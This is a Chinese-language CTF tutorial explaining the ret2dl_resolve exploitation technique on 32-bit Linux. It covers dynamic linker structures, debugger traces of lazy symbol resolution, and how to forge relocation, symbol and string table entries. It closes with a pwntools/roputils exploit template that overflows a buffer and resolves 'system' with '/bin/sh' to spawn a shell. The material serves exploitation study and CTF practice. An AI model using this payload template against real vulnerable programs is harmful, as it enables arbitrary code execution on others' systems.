ret2dl_resolve re2dl_resolve 首先来看几个用到的数据结构 link_map
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct link_map { Elf32_Addr l_addr; char *l_name; Elf32_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; Elf32_Dyn *l_info[76]; const Elf32_Phdr *l_phdr; Elf32_Addr l_entry; Elf32_Half l_phnum; ... ... }
.dynmic结构
1 2 3 4 5 6 7 8 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; extern Elf32_Dyn_DYNAMIC[];
.rel.plt 结构
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela;
.dynsym结构
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
以上的数据结构在程序解析的时候的作用1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 l 是link_map 的地址,gdb 查看link_map 的结构 gdb-peda$ p *l $8 = { l_addr = 0x0, l_name = 0xf7ffdc04 "", l_ld = 0x8046194, l_next = 0xf7ffdc08, l_prev = 0x0, l_real = 0xf7ffd918, l_ns = 0x0, l_libname = 0xf7ffdbf8, l_info = {0x0, 0x804619c, 0x804620c, 0x8046204, 0x0, 0x80461dc, 0x80461e4, 0x0, 0x0, 0x0, 0x80461ec, 0x80461f4, 0x80461a4, 0x80461ac, 0x0...}, 在IDA 中 查看 .dynamic 的数据结构 LOAD:080461DC Elf32_Dyn <5, <8046284h>> ; DT_STRTAB LOAD:080461E4 Elf32_Dyn <6, <8047328h>> ; DT_SYMTAB dynamic 中的地址对应着 link_map 中l_info 相应的指针,可从link_map 取到dynamic 结构中.rel.plt .dynsym .dynstr对应的指针,为后来程序的执行提供各个节的基地址 pwndbg> p/x *(Elf32_Dyn*)0x80461e4 $3 = { d_tag = 0x6, d_un = { d_val = 0x8047328, #0x8047328对应 DT_SYMTAB d_ptr = 0x8047328 } } pwndbg> p l->l_info[6] $4 = (Elf32_Dyn *) 0x80461e4
link_map的地址、reloc_offset这两者是传入栈上的数值,通过这个参数可以得到要解析的符号分别在.rel.plt节、.dynsym节对应的地址1 2 3 4 5 6 7 求得 .dynsym 节的地址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);//DT_SYMTAB = 6 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); 得到要解析的符号在.rel.plt节上的地址 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
然后通过 reloc->r_info 来找到 该符号对应的 sym
1 2 通过 reloc 得到要解析的符号在 dynsym 节的地址 const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
当找到 sym 后,可以从sym ->st_name 找到对应的 dynstr
1 2 result = _dl_lookup_symbol_x (strtab + e,sym->st_nam l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
程序执行过程 当要解析 puts 函数的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ► 0x8048454 <main+25> call puts@plt <0x8048310> 当call puts的时候,会先进入 puts 函数的plt表,查找是否绑定,如果没有绑定,则调转到dl_runtime_resolve 来解析其地址 gdb-peda$ x/wx 0x804a010 0x804a010: 0x08048316 0x8048310 <puts@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+16] <0x804a010> #0x804a010处的值为0x08048316 0x8048316 <puts@plt+6> push 8 #这里是传入的reloc_offset 参数,也是要伪造的值 0x804831b <puts@plt+11> jmp 0x80482f0 0x80482f0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004># 这里push 的是 link_map的地址 0x80482f6 jmp dword ptr [0x804a008] <0xf7fee000> ► 0xf7fee000 <_dl_runtime_resolve> push eax 0xf7fee001 <_dl_runtime_resolve+1> push ecx 0xf7fee002 <_dl_runtime_resolve+2> push edx 0xf7fee003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10] # 要解析的函数的偏移 0xf7fee007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc] # 最后一个入栈的数值,link_map 的地址 0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0> 当EIP 为 0xf7fee000 的时候 ,栈上的数据为 gdb-peda$ stack 0000| 0xffffd384 --> 0xf7ffd918 --> 0x0 #link_map 的地址 0004| 0xffffd388 --> 0x8 0008| 0xffffd38c --> 0x8048459 (<main+30>: add esp,0x10) 0012| 0xffffd390 --> 0x8048510 ("hello world") 0016| 0xffffd394 --> 0x0 0020| 0xffffd398 --> 0xf7e4ba50 (<__new_exitfn+16>: add ebx,0x1835b0) 0024| 0xffffd39c --> 0x80484db (<__libc_csu_init+75>: add edi,0x1) 0028| 0xffffd3a0 --> 0x1 gdb-peda$ p/x ((struct link_map*)0xf7ffd918)->l_info $11 = {0x0, 0x8049f14, 0x8049f84, 0x8049f7c, 0x0, 0x8049f54, 0x8049f5c, 0x0, 0x0, 0x0, 0x8049f64, 0x8049f6c, 0x8049f1c, 0x8049f24, 0x0...} [22] .dynamic DYNAMIC 08049f14 002f14 0000e8 08 WA 1 0 4 got[0]: 本ELF动态段(.dynamic段)的装载地址 got[1]:本ELF的link_map数据结构描述符地址 got[2]:_dl_runtime_resolve函数的地址
漏洞利用点
当程序执行到 0x8048316的时候,会push 参数进入栈,这个参数是dl_runtime_resolve的第二个参数reloc_arg
1 2 3 4 5 _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg)
通过这个参数可以找到要解析的符号在.rel.plt段的地址
1 2 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
所以 reloc 是可以伪造的,而之后对该符号最终在dynstr上的解析是依赖与reloc的,依次伪造.dynsym .dynstr段便可以得到最终要解析的符号的名称的地址,以达到攻击的目的。
利用方案
我们要分别伪造 .rel.plt .dynsym .dynstr 三个表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .rel.plt 00000000 Elf32_Rel struc ; (sizeof=0x8, align=0x4, copyof_2) 00000000 ; XREF: LOAD:080482AC/r 00000000 ; LOAD:080482B4/r ... 00000000 r_offset dd ? 00000004 r_info dd ? 00000008 Elf32_Rel ends .dynsym 00000000 Elf32_Sym struc ; (sizeof=0x10, align=0x4, mappedto_1) 00000000 ; XREF: LOAD:080471F8/r 00000000 ; LOAD:08047208/r ... 00000000 st_name dd ? ; offset (08046284) 00000004 st_value dd ? ; offset (00000000) 00000008 st_size dd ? 0000000C st_info db ? 0000000D st_other db ? 0000000E st_shndx dw ? 00000010 Elf32_Sym ends .dynstr LOAD:0804629E aPuts db 'puts',0 ; DATA XREF: LOAD:08047218↓o # 这里要伪造 system
payload 构造过程
手动构造
假设获取到的各个节的基地址分别为
1 2 3 4 5 from pwn import * elf = ELF('./file') base_rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr base_dynsym = elf.get_section_by_name('.dynsym').header.sh_addr base_dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
假设 伪造的 .rel.plt 表地址从fake_rel_plt 处开始,那么首先要伪造的r_offset的偏移为 reloc_offset = fake_rel_plt - base_rel_plt 并在 fake_rel_plt 处建立新的 .rel.plt 表, 伪造rel.plt表
1 2 3 4 这里主要是伪造r_info的值 align = 0x10 - ((fake_dynsym - base_dynsym)&0xf) fake_dynsym = align + fake_dynsym r_info = ((fake_dynsym -base_dynsym)/0x10)<< 8 | 0x7
伪造 dynsym 表
1 2 3 4 这里主要伪造的是 st_name base_dynsym: st_name fake_dynstr 可以任意定义 st_name = fake_dynstr +0x10 - base_dynstr
自动构造模板
exp模板,使用的是roputils
1 2 3 4 5 6 7 8 9 10 11 12 其中 0x80484a0是跳转读的地址 elf = ELF('') addr_bss = elf.bss() buf='a'*offset buf+=p32(0x080484A0)+p32(0x804864B)+p32(0)+p32(addr_bss)+p32(100) p.send(buf) buf=rop.string('/bin/sh').ljust(20,'a') buf+=rop.dl_resolve_data(addr_bss+20,'system').ljust(80,'b') p.send(buf) p.recvuntil("ASLR\n") buf='a'*offset+rop.dl_resolve_call(addr_bss+20,addr_bss) p.send(buf)
坑点 在自己构造的时候有个version的值,由于我们在一般把表伪造在bss段上,所以rel_offset会比较大,version会出现错误
参考文章